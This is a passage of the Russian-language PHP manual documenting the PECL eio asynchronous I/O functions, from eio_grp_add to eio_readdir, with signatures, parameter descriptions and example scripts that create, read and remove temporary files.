fwrite($fp, "some data");
fclose($fp);

/* Вызывается, когда группа запросов будет выполнена */
function my_grp_done($data, $result) {
var_dump($result == 0);
@unlink($data);
}

/* Вызывается после выполнения eio_open() */
function my_grp_file_opened_callback($data, $result) {
global $grp;

// $result должен содержать дескриптор файла
var_dump($result > 0);

// Создание запроса eio_read() и добавление в группу
// Дескриптор файла передаётся в callback-функцию
$req = eio_read($result, 4, 0,
EIO_PRI_DEFAULT, "my_grp_file_read_callback", $result);
eio_grp_add($grp, $req);
}

/* Вызывается после выполнения eio_read() */
function my_grp_file_read_callback($data, $result) {
global $grp;

// Чтение байтов
var_dump($result);

// Создание запроса eio_close() и добавление в группу
// $data должна содержать дескриптор файла
$req = eio_close($data);
eio_grp_add($grp, $req);
}

// Создание группу запросов
$grp = eio_grp("my_grp_done", $temp_filename);
var_dump($grp);

// Создание запроса eio_open() и добавление в группу
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);

// Выполнение запросов
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

Смотрите также

  • eio_grp() - Создаёт группу запросов
  • eio_grp_cancel() - Отменяет группу запросов
  • eio_grp_limit() - Устанавливает предельное количество запросов в группе

User Contributed Notes

There are no user contributed notes for this page.


Отменяет группу запросов

  • « eio_grp_add
  • eio_grp_limit »
  • PHP Manual
  • Eio Функции
  • Отменяет группу запросов

eio_grp_cancel

(PECL eio >= 0.0.1dev)

eio_grp_cancel — Отменяет группу запросов

Описание

eio_grp_cancel(resource $grp): void

eio_grp_cancel() отменяет группу запросов, указатель на которую определён в grp.

Список параметров

grp

Указатель на группу запросов, возвращённый eio_grp().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • eio_grp() - Создаёт группу запросов
  • eio_grp_add() - Добавляет запрос в группу запросов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает предельное количество запросов в группе

  • « eio_grp_cancel
  • eio_grp »
  • PHP Manual
  • Eio Функции
  • Устанавливает предельное количество запросов в группе

eio_grp_limit

(PECL eio >= 0.0.1dev)

eio_grp_limit — Устанавливает предельное количество запросов в группе

Описание

eio_grp_limit(resource $grp, int $limit): void

Устанавливает предельное количество запросов в группе.

Список параметров

grp

Указатель на группу ресурсов

limit

Максимальное количество ресурсов в группе.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • eio_grp_add() - Добавляет запрос в группу запросов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт группу запросов

  • « eio_grp_limit
  • eio_init »
  • PHP Manual
  • Eio Функции
  • Создаёт группу запросов

eio_grp

(PECL eio >= 0.0.1dev)

eio_grp — Создаёт группу запросов

Описание

eio_grp(callable $callback, string $data = NULL): resource

eio_grp() создаёт группу запросов.

Список параметров

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_grp() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_grp()

<?php
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);
$my_file_fd = NULL;

/* Вызывается, когда группа запросов будет выполнена */
function my_grp_done($data, $result) {
// Если файл существует, удаляем
@unlink($data);
}

/* Вызывается когда файл открыт */
function my_grp_file_opened_callback($data, $result) {
global $my_file_fd, $grp;

$my_file_fd = $result;

$req = eio_read($my_file_fd, 4, 0,
EIO_PRI_DEFAULT, "my_grp_file_read_callback");
eio_grp_add($grp, $req);
}

/* Вызывается, когда файл прочтён */
function my_grp_file_read_callback($data, $result) {
global $my_file_fd, $grp;

var_dump($result);

// Создание запроса на закрытие файла
$req = eio_close($my_file_fd);

// Добавление запроса в группу
eio_grp_add($grp, $req);
}

// Создание группы
$grp = eio_grp("my_grp_done", $temp_filename);

// Создание запроса
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);

// Добавление запроса в группу
eio_grp_add($grp, $req);

// Выполнение запросов
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(4) "some"

Смотрите также

  • eio_grp_cancel() - Отменяет группу запросов
  • eio_grp_add() - Добавляет запрос в группу запросов

User Contributed Notes

There are no user contributed notes for this page.


(Ре-)инициализирует Eio

  • « eio_grp
  • eio_link »
  • PHP Manual
  • Eio Функции
  • (Ре-)инициализирует Eio

eio_init

(PECL eio = 1.0.0)

eio_init — (Ре-)инициализирует Eio

Описание

eio_init(): void

eio_init() (ре-)инициализирует Eio. Резервируется память для внутренних структур libeio и Eio. Можно вызывать eio_init() перед использованием Eio-функций. В любом случае, инициализация будет выполнена при первом вызове Eio-функции.

Замечание:

Функция была удалена в версии 3.0.0RC1 модуля eio для PHP версии 8 и выше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт жёсткую ссылку на файл

  • « eio_init
  • eio_lstat »
  • PHP Manual
  • Eio Функции
  • Создаёт жёсткую ссылку на файл

eio_link

(PECL eio >= 0.0.1dev)

eio_link — Создаёт жёсткую ссылку на файл

Описание

eio_link(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_link() создаёт жёсткую ссылку new_path на файл, указанный в path.

Список параметров

path

Путь к файлу.

new_path

Имя жёсткой ссылки.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

Примеры

Пример #1 Пример использования eio_link()

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && !is_link($data));
@unlink($data);

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
string(%d) "%ssymlink.dat"

Смотрите также

  • eio_symlink() - Создаёт символическую ссылку

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статус файла

  • « eio_link
  • eio_mkdir »
  • PHP Manual
  • Eio Функции
  • Возвращает статус файла

eio_lstat

(PECL eio >= 0.0.1dev)

eio_lstat — Возвращает статус файла

Описание

eio_lstat(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_lstat() возвращает информацию о состоянии файла в result аргументе callback

Список параметров

path

Путь к файлу

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_lstat() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_lstat()

<?php
$tmp_filename = dirname(__FILE__). "/eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

function my_open_cb($data, $result) {
eio_close($result);
eio_event_loop();

@unlink($data);
}

eio_lstat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_lstat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(9) "eio_lstat"
array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2099197)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318235777)
  ["st_mtime"]=>
  int(1318235777)
  ["st_ctime"]=>
  int(1318235777)
}

Смотрите также

  • eio_stat() - Возвращает статус файла
  • eio_fstat() - Возвращает статус файла

User Contributed Notes

There are no user contributed notes for this page.


Создание директории

  • « eio_lstat
  • eio_mknod »
  • PHP Manual
  • Eio Функции
  • Создание директории

eio_mkdir

(PECL eio >= 0.0.1dev)

eio_mkdir — Создание директории

Описание

eio_mkdir(
string $path,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_mkdir() создаёт директорию с заданным режимом доступа mode.

Список параметров

path

Путь к новой директории.

mode

Режим доступа, например, 0755

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Переменная, которую необходимо передать callback-функции callback.

Возвращаемые значения

В случае успешного выполнения операции eio_mkdir() вернёт ресурс запроса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_mkdir()

<?php
$temp_dirname = "eio-temp-dir";

/* Вызывается, когда eio_mkdir() завершит работу */
function my_mkdir_callback($data, $result) {
if ($result == 0 && is_dir($temp_dirname)
&& !is_readable($temp_dirname)
&& is_writable($temp_dirname)) {
echo "eio_mkdir_ok";
}

// Удаляем директорию
if (file_exists($data))
rmdir($temp_dirname);
}

// Создаём директорию с режимом доступа 0300
eio_mkdir($temp_dirname, 0300, EIO_PRI_DEFAULT, "my_mkdir_callback", $temp_dirname);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_mkdir_ok

Смотрите также

  • eio_rmdir() - Удаляет директорию

User Contributed Notes

There are no user contributed notes for this page.


Создаёт специальный или обычный файл

  • « eio_mkdir
  • eio_nop »
  • PHP Manual
  • Eio Функции
  • Создаёт специальный или обычный файл

eio_mknod

(PECL eio >= 0.0.1dev)

eio_mknod — Создаёт специальный или обычный файл

Описание

eio_mknod(
string $path,
int $mode,
int $dev,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_mknod() создаёт обычный или специальный (что чаще) файл.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

path

Путь к новому файлу.

mode

Задаёт разрешения для файла и его тип. Значением аргумента является комбинация (используя побитовое ИЛИ) одной или нескольких констант, отвечающих за тип файла, и числа, отвечающего за разрешения для файла (например, 0640). Константы типов файлов: EIO_S_IFREG(обычный файл), EIO_S_IFCHR(символьный файл), EIO_S_IFBLK(специальный блочный файл), EIO_S_IFIFO(FIFO - именованный пайп) и EIO_S_IFSOCK(UNIX сокет домена). Для задания разрешений необходимо использовать константы EIO_S_I*.

dev

При создании файла типа EIO_S_IFCHR или EIO_S_IFBLK, параметр dev задаёт верхнюю и нижнюю границы нумерации специальных файлов устройств. При создании файла других типов dev игнорируется. За дополнительными пояснениями обращайтесь к странице документации mknod(2).

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать в callback-функцию.

Возвращаемые значения

eio_mknod() возвращает ресурс запроса в случае успешного выполнения операции или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_mknod()

<?php
// имя FIFO
$temp_filename = "/tmp/eio-temp-fifo";

/* будет вызываться по завершении работы функции eio_mknod() */
function my_mknod_callback($data, $result) {
$s = stat($data);
var_dump($s);

if ($result == 0) {
echo "eio_mknod_ok";
}

@unlink($data);
}

eio_mknod($temp_filename, EIO_S_IFIFO, 0,
EIO_PRI_DEFAULT, "my_mknod_callback", $temp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

array(26) {
  [0]=>
  int(17)
  [1]=>
  int(2337608)
  [2]=>
  int(4096)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(100)
  [6]=>
  int(0)
  [7]=>
  int(0)
  [8]=>
  int(1318241261)
  [9]=>
  int(1318241261)
  [10]=>
  int(1318241261)
  [11]=>
  int(4096)
  [12]=>
  int(0)
  ["dev"]=>
  int(17)
  ["ino"]=>
  int(2337608)
  ["mode"]=>
  int(4096)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(100)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(0)
  ["atime"]=>
  int(1318241261)
  ["mtime"]=>
  int(1318241261)
  ["ctime"]=>
  int(1318241261)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(0)
}
eio_mknod_ok

Смотрите также

  • eio_open() - Открывает файл

User Contributed Notes

There are no user contributed notes for this page.


Проход по циклу запроса, не совершая никаких операций

  • « eio_mknod
  • eio_npending »
  • PHP Manual
  • Eio Функции
  • Проход по циклу запроса, не совершая никаких операций

eio_nop

(PECL eio >= 0.0.1dev)

eio_nop — Проход по циклу запроса, не совершая никаких операций

Описание

eio_nop(int $pri = EIO_PRI_DEFAULT, callable $callback = NULL, mixed $data = NULL): resource

eio_nop() проходит по циклу запроса, ничего при этом не делая. Может оказаться полезной при отладке.

Список параметров

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые будут переданы в callback-функцию.

Возвращаемые значения

eio_nop() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_busy() - Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число завершённых, но необработанных процессов

  • « eio_nop
  • eio_nready »
  • PHP Manual
  • Eio Функции
  • Возвращает число завершённых, но необработанных процессов

eio_npending

(PECL eio >= 0.0.1dev)

eio_npending — Возвращает число завершённых, но необработанных процессов

Описание

eio_npending(): int

eio_npending() возвращает число завершённых, но необработанных процессов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_npending() возвращает число завершённых, но необработанных процессов.

Смотрите также

  • eio_nreqs() - Возвращает число запросов, которые предстоит выполнить
  • eio_nready() - Возвращает число ещё не обработанных запросов
  • eio_nthreads() - Возвращает количество используемых в данный момент потоков

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число ещё не обработанных запросов

  • « eio_npending
  • eio_nreqs »
  • PHP Manual
  • Eio Функции
  • Возвращает число ещё не обработанных запросов

eio_nready

(PECL eio >= 0.0.1dev)

eio_nready — Возвращает число ещё не обработанных запросов

Описание

eio_nready(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_nready() возвращает число ещё не обработанных запросов

Смотрите также

  • eio_nreqs() - Возвращает число запросов, которые предстоит выполнить
  • eio_nready()
  • eio_nthreads() - Возвращает количество используемых в данный момент потоков

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число запросов, которые предстоит выполнить

  • « eio_nready
  • eio_nthreads »
  • PHP Manual
  • Eio Функции
  • Возвращает число запросов, которые предстоит выполнить

eio_nreqs

(PECL eio >= 0.0.1dev)

eio_nreqs — Возвращает число запросов, которые предстоит выполнить

Описание

eio_nreqs(): int

eio_nreqs() может быть выполнена в произвольном цикле, вызванном eio_poll().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_nreqs() возвращает число запросов, которые предстоит выполнить.

Примеры

Пример #1 Пример использования eio_nreqs()

<?php
function res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
eio_poll();
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

Смотрите также

  • eio_poll() - Может быть вызвана когда имеются запросы, ожидающие выполнения
  • eio_nready() - Возвращает число ещё не обработанных запросов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество используемых в данный момент потоков

  • « eio_nreqs
  • eio_open »
  • PHP Manual
  • Eio Функции
  • Возвращает количество используемых в данный момент потоков

eio_nthreads

(PECL eio >= 0.0.1dev)

eio_nthreads — Возвращает количество используемых в данный момент потоков

Описание

eio_nthreads(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_nthreads() возвращает количество используемых в данный момент потоков.

Смотрите также

  • eio_npending() - Возвращает число завершённых, но необработанных процессов
  • eio_nready() - Возвращает число ещё не обработанных запросов
  • eio_nreqs() - Возвращает число запросов, которые предстоит выполнить
  • eio_set_max_idle() - Устанавливает максимальное количество ожидающих потоков
  • eio_set_max_parallel() - Устанавливает максимальное количество параллельных потоков
  • eio_set_min_parallel() - Устанавливает минимальное количество параллельных потоков

User Contributed Notes

There are no user contributed notes for this page.


Открывает файл

  • « eio_nthreads
  • eio_poll »
  • PHP Manual
  • Eio Функции
  • Открывает файл

eio_open

(PECL eio >= 0.0.1dev)

eio_open — Открывает файл

Описание

eio_open(
string $path,
int $flags,
int $mode,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_open() открывает файл по заданному пути path в режиме доступа mode.

Список параметров

path

Путь к открываемому файлу.

Внимание

В некоторых SAPI (как, например, PHP-FPM) необходимо указывать полный путь. В противном случае произойдёт отказ в работе функции.

flags

Комбинация из одной или нескольких констант EIO_O_*. Смысл констант EIO_O_* тот же, что и у соответствующих им констант O_*, определённых в заголовочном файле С fnctl.h. По умолчанию принимается константа EIO_O_RDWR.

mode

Комбинация из одной или нескольких констант EIO_S_I* (через побитовое ИЛИ). Смысл констант тот же, что и у соответствующих им констант S_I*, определённых в заголовочном файле С » sys/stat.h. Параметр обязателен, если создаётся новый файл. В противном случае, параметр игнорируется.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые будут передаваться в callback-функцию.

Возвращаемые значения

eio_open() возвращает дескриптор файла через аргумент result callback-функции callback. В случае возникновения ошибки result будет равен -1.

Примеры

Пример #1 Пример использования eio_open()

<?php
$temp_filename = "eio-temp-file.tmp";

/* Будет вызываться после завершения работы eio_close() */
function my_close_cb($data, $result) {
// Ноль указывает на успех операции
var_dump($result == 0);
@unlink($data);
}

/* Будет вызываться после завершения работы eio_open() */
function my_file_opened_callback($data, $result) {
// $result должен содержать дескриптор файла
var_dump($result > 0);

if ($result > 0) {
// закрываем файл
eio_close($result, EIO_PRI_DEFAULT, "my_close_cb", $data);
eio_event_loop();
}
}

// создаём файл для чтения и записи
// запрещаем группе и другим пользователям делать что-либо с файлом
eio_open($temp_filename, EIO_O_CREAT | EIO_O_RDWR, EIO_S_IRUSR | EIO_S_IWUSR,
EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)

Смотрите также

  • eio_mknod() - Создаёт специальный или обычный файл

User Contributed Notes

There are no user contributed notes for this page.


Может быть вызвана когда имеются запросы, ожидающие выполнения

  • « eio_open
  • eio_read »
  • PHP Manual
  • Eio Функции
  • Может быть вызвана когда имеются запросы, ожидающие выполнения

eio_poll

(PECL eio >= 0.0.1dev)

eio_poll — Может быть вызвана когда имеются запросы, ожидающие выполнения

Описание

eio_poll(): int

eio_poll() может быть использована для реализации особых циклов обработки запросов. При этом eio_nreqs() может быть использована для нахождения невыполненных запросов.

Замечание:

Применяется только для пользовательской реализации цикла обработки запросов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если любой вызов запроса возвращает ненулевое значение, возвращается это значение. Иначе возвращает 0.

Примеры

Пример #1 Пример использования eio_poll()

<?php
function res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
// Некоторый специфичный IPC или что-то ещё
eio_poll();
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

Смотрите также

  • eio_nreqs() - Возвращает число запросов, которые предстоит выполнить

User Contributed Notes

There are no user contributed notes for this page.


Читает данные из файла, начиная с заданного смещения

  • « eio_poll
  • eio_readahead »
  • PHP Manual
  • Eio Функции
  • Читает данные из файла, начиная с заданного смещения

eio_read

(PECL eio >= 0.0.1dev)

eio_read — Читает данные из файла, начиная с заданного смещения

Описание

eio_read(
mixed $fd,
int $length,
int $offset,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_read() считывает length байт из файла с описателем fd, начиная с байта offset. Прочитанные данные передаются через параметр result в функцию callback.

Список параметров

fd

Поток, ресурс сокета или числовой файловый описатель.

length

Максимальное считываемое число байт.

offset

Смещение в файле.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать в функцию callback.

Возвращаемые значения

eio_read() передаёт считанные данные через параметр result в функцию callback.

Примеры

Пример #1 Пример использования eio_read()

<?php
// Открываем временный файл и пишем в него какие-либо данные
$temp_filename = "eio-temp-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "1234567890");
fclose($fp);

/* Вызывается, когда eio_read() завершает работу */
function my_read_cb($data, $result) {
global $temp_filename;

// Выводим прочитанные данные
var_dump($result);

// закрываем файл
eio_close($data);
eio_event_loop();

// Удаляем временный файл
@unlink($temp_filename);
}

/* Вызывается, когда eio_open() завершает работу */
function my_file_opened_callback($data, $result) {
// $result должен содержать файловый описатель
if ($result > 0) {
// Прочитаем 5 байт, начиная с третьего
eio_read($result, 5, 2, EIO_PRI_DEFAULT, "my_read_cb", $result);
eio_event_loop();
} else {
// eio_open() завершила работу отказом
unlink($data);
}
}

// открываем файл для чтения и записи
eio_open($temp_filename, EIO_O_RDWR, NULL,
EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "34567"

Смотрите также

  • eio_open() - Открывает файл
  • eio_write() - Запись в файл
  • eio_close() - Закрыть файл
  • eio_event_loop() - Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены

User Contributed Notes

There are no user contributed notes for this page.


Помещает данные из файла в кеш страницы

  • « eio_read
  • eio_readdir »
  • PHP Manual
  • Eio Функции
  • Помещает данные из файла в кеш страницы

eio_readahead

(PECL eio >= 0.0.1dev)

eio_readahead — Помещает данные из файла в кеш страницы

Описание

eio_readahead(
mixed $fd,
int $offset,
int $length,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_readahead() заполняет кеш страницы данными из файла. Таким образом, дальнейшие обращения к этому файлу не будут влиять на работу дисковой подсистемы. Более детальную информацию можно получить на странице руководства READAHEAD(2).

Список параметров

fd

Поток, ресурс сокета или числовой файловый дескриптор.

offset

Позиция в файле, с которой будут читаться данные.

length

Количество считываемых байт.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать функции callback.

Возвращаемые значения

eio_readahead() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Читает содержимое директории

  • « eio_readahead
  • eio_readlink »
  • PHP Manual
  • Eio Функции
  • Читает содержимое директории

eio_readdir

(PECL eio >= 0.0.1dev)

eio_readdir — Читает содержимое директории

Описание

eio_readdir(
string $path,
int $flags,
int $pri,
callable $callback,
string $data = NULL
): resource

Читает содержимое директории (посредством системных вызовов opendir, readdir и closedir) и либо возвращает имена файлов, либо передаёт массив в качестве аргумента result в функцию callback. Поведение метода зависит от значения параметра flags.

Список параметров

path

Путь к директории.

flags

Комбинация констант EIO_READDIR_*.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать функции callback.

Возвращаемые значения

eio_readdir() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки. Также может задавать значение аргумента result функции callback в зависимости от значения параметра flags:

EIO_READDIR_DENTS (int)
Флаг eio_readdir(). Если задан, в качестве аргумента callback-функции будет передаваться массив со следующими ключами: 'names' - массив имён директории 'dents' - массив структур типа struct eio_dirent, каждая из которых представляется массивом с ключами: 'name' - имя директории; 'type' - одна из констант EIO_DT_*; 'inode' - номер узла inode, если доступен, либо пустое значение;
EIO_READDIR_DIRS_FIRST (int)
Если этот флаг задан, первыми будут возвращаться имена директорий, затем имена файлов. Порядок следования имён в каждой группе будет оптимальным для применения функции stat.
EIO_READDIR_STAT_ORDER (int)
Если этот флаг задан, имена файлов и директорий будут возвращаться в порядке, удобном для сбора статистики (stat) каждого из объектов. Если полученный список имён предполагается передавать в функцию stat(), порядок следования имён обеспечит наиболее быструю работу функции.
EIO_READDIR_FOUND_UNKNOWN (int)

Типы узлов:

EIO_DT_UNKNOWN (int)
Неизвестный тип узла (очень часто). Необходима обработка функцией stat().
EIO_DT_FIFO (int)
Тип узла - FIFO
EIO_DT_CHR (int)
Тип узла
EIO_DT_MPC (int)
Тип узла - составное символьное устройство (v7+coherent)
EIO_DT_DIR (int)
Тип узла - директория
EIO_DT_NAM (int)
Тип узла - файл со специальным Xenix наименованием
EIO_DT_BLK (int)
Тип узла
